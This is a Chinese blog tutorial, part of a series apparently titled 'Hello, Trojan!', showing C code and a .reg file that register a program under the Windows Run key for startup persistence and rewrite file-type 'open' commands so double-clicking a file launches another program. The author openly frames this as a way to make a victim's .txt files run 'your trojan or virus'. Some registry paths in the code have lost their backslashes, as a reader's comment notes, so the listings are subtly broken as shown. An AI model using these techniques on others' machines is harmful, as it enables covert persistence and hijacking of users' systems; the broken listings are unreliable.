木马,你好!(八)注册表操作

注册表相当于系统的基础配置,详细的基础操作请戳《Windows API 教程(十) 注册表操作》。关于木马与注册表也是有不少交集的。常见的情况有:

1.修改注册表使得木马开机自启动
2.修改特定类型文件的打开方式(换上自己的)

开机自启动

测试代码

编译一个简单的测试用的程序,代码如下:

#include <windows.h>

int main ()
{
    MessageBox(NULL, TEXT("hello auto start"), TEXT("Title"), MB_OK);
}

运行(F5)或生成(F7)之后在 debug 目录找到 exe 文件,然后拷贝到 E: 目录下。

注册表代码

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char path[] = "E:\test.exe"; // 要开机启动的程序

    //打开注册表
    result = RegOpenKeyEx(
        HKEY_LOCAL_MACHINE, // 本机注册表(要打开的注册表)
        "Software\Microsoft\Windows\CurrentVersion\Run", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("注册表打开成功!n");
    }
    else
    {
        printf("注册表打开失败!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 在注册表中设置(没有则会新增一个值)
    result = RegSetValueEx(
                 hKey,
                 "Registry Example", // 键名
                 0,                  // 保留参数必须填 0
                 REG_SZ,             // 键值类型为字符串
                 (const unsigned char *)path, // 字符串首地址
                 sizeof(path)        // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("注册表设置成功!n");
    }
    else
    {
        printf("注册表设置失败!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );
    
    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

因为代码只涉及了关键部分,没有获取权限,所以如果当前电脑的账户不是管理员账户,直接运行的话会报错无法打开注册表。这里代码测试通的话,需要找到 Debug 目录下的 exe,然后右键 “使用管理员权限运行”,之后才会成功。

开机自启动

成功之后可以在 win + R -> msconfig 中找到,可以看到名称就是我们在代码里面写的 “Registry Example”

msconfig

PS:除了使用注册表实现开机自启动外,还可以注册程序为系统服务来实现。

修改文件打开方式

注册新后缀的基本思路

常见情况是:原本用户只是打开一张图片(.jpg等)、视频(.avi等)或者文本(.txt等)结果,实际却调用了别人事先准备好的木马或者病毒。

这里奉上最简单的注册方法,来简述一下注册一个新的后缀名(.win)打开方式的具体情况:

  1. 在桌面(或者你要保存的文件夹中)右键->新建->文本文档,两个
  2. 修改改文本文档后缀名为 .reg,博主为了方便改名为 test.reg
  3. 修改该文件的内容如下:
    REGEDIT4
    
    [HKEY_CLASSES_ROOT.win]
        @="WINFile"
    [HKEY_CLASSES_ROOTWINFile]
        @="File Type Example"
    
    [HKEY_CLASSES_ROOTWINFileDefaultIcon]
        @="%SystemRoot%system32imageres.dll,-102"
    [HKEY_CLASSES_ROOTWINFileshellopencommand]
        @="NOTEPAD.EXE %1"
    
  4. 双击运行 test.reg,之后 后缀名为 .win 的文件就可以在双击的时候,默认使用 notepad 打开了。

简述一下这个过程的原理:

  1. REGEDIT4 之后空行类似声明,是 .reg 文件的格式,这个是死的。
  2. [HKEY_CLASSES_ROOT.win] 即,在计算机中注册 .win 后缀。 @=”WINFile” 即设置该后缀的 ProgID(处理方式id) 为 WINFile。
  3. [HKEY_CLASSES_ROOTWINFile] 即,注册名为 “WINFile” 的处理方式,其值 @=”File Type Example” 是该方式的描述。
  4. [HKEY_CLASSES_ROOTWINFileDefaultIcon] 设置 WINFile 处理方式的文件图标。@=”%SystemRoot%system32imageres.dll,-102″ 即,imageres.dll 中所包含的第 102 号图标。
  5. [HKEY_CLASSES_ROOTWINFileshellopencommand] 设置 WINFile 处理方式的运行命令, @=”NOTEPAD.EXE %1″ 是指调用 nodepad.exe 来运行 %1 是当前双击的文件路径参数。

这里示例中的调用的方式是 @=”NOTEPAD.EXE %1″, 你也可以改成你自己的程序 @=”详细路径test.exe %1″

PS:
1.顺便一提在具体的代码中,获取参数的代码参见如下:

#include <stdio.h>

int main(int argc, char const *argv[])
{
    int i;
    for (i = 0; i < argc; ++i) // argc 保存参数个数
    {
        printf("%sn", argv[i]); // argv 中保存了参数内容
    }
    return 0;
}

2. 上方的 %1 是批处理中常见的参数写法,传进来的第二参数则为 %2,第三个参数为 %3 以此类推

如何修改指定后缀名的打开方式

如果你理解上述流程,那么我们就可以来研究怎么替换现有某些后缀名的打开方式。就以 .txt 为例:

  1. 先 win+R -> regedit 打开注册表编辑器
    winr
  2. 找到 HKEY_CLASSES_ROOT (专门用于存放文件打开方式的)
    regedit
  3. 找到 .txt 的键 (即 HKEY_CLASSES_ROOT.txt)
    txt
  4. 上面的 txtfile 就是 .txt 的处理方式,于是我们跟着去找 HKEY_CLASSES_ROOTtxtfile
    txtfile
  5. 从上图就可以看到 .txt 的程序最后的打开调用的代码是 “%SystemRoot%system32NOTEPAD.EXE %1”,这里你要黑掉别人的电脑,让他双击 .txt 文件的时候,运行你的木马或病毒就只要修改这里就可以了。也即修改 “HKEY_CLASSES_ROOTtxtfileshellopencommand” 的默认值。你可以改成 “你的木马或病毒.exe %1”

以上就是完整的思路。

C 代码实现修改文件打开方式

下面奉上修改 .win 后缀打开方式的 C 代码:

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char path[] = "E:\test.exe"; // 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给test.exe

    //打开注册表 HKEY_CLASSES_ROOTWINFileshellopencommand
    result = RegOpenKeyEx(
        HKEY_CLASSES_ROOT, "WINFile\shell\open\command", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 设置注册表的值
    result = RegSetValueEx(
                 hKey,
                 "",                // 设置默认值
                 0,                 // 保留参数必须填 0
                 REG_SZ,            // 键值类型为字符串
                 (const unsigned char *)path, // 字符串首地址
                 sizeof(path)       // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );
    
    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

以上程序也是一样,运行的时候如果不是默认管理员账户的话,需要手动到 Debug 目录下找到 exe 文件然后右键以管理员权限运行。运行成功以后, 原本用 notepad 打开的 .win 程序就变成调用我们准备好的程序了。

文章索引

上一讲:木马,你好!(七)远程弹出记事本写字

Advertisements

One thought on “木马,你好!(八)注册表操作

  1. 我的注册表项名里得加转义字符“\”呀!!
    “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run”我的这样才能成功。不知道咱两的是不是一样的系统。

发表评论

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / 更改 )

Twitter picture

You are commenting using your Twitter account. Log Out / 更改 )

Facebook photo

You are commenting using your Facebook account. Log Out / 更改 )

Google+ photo

You are commenting using your Google+ account. Log Out / 更改 )

Connecting to %s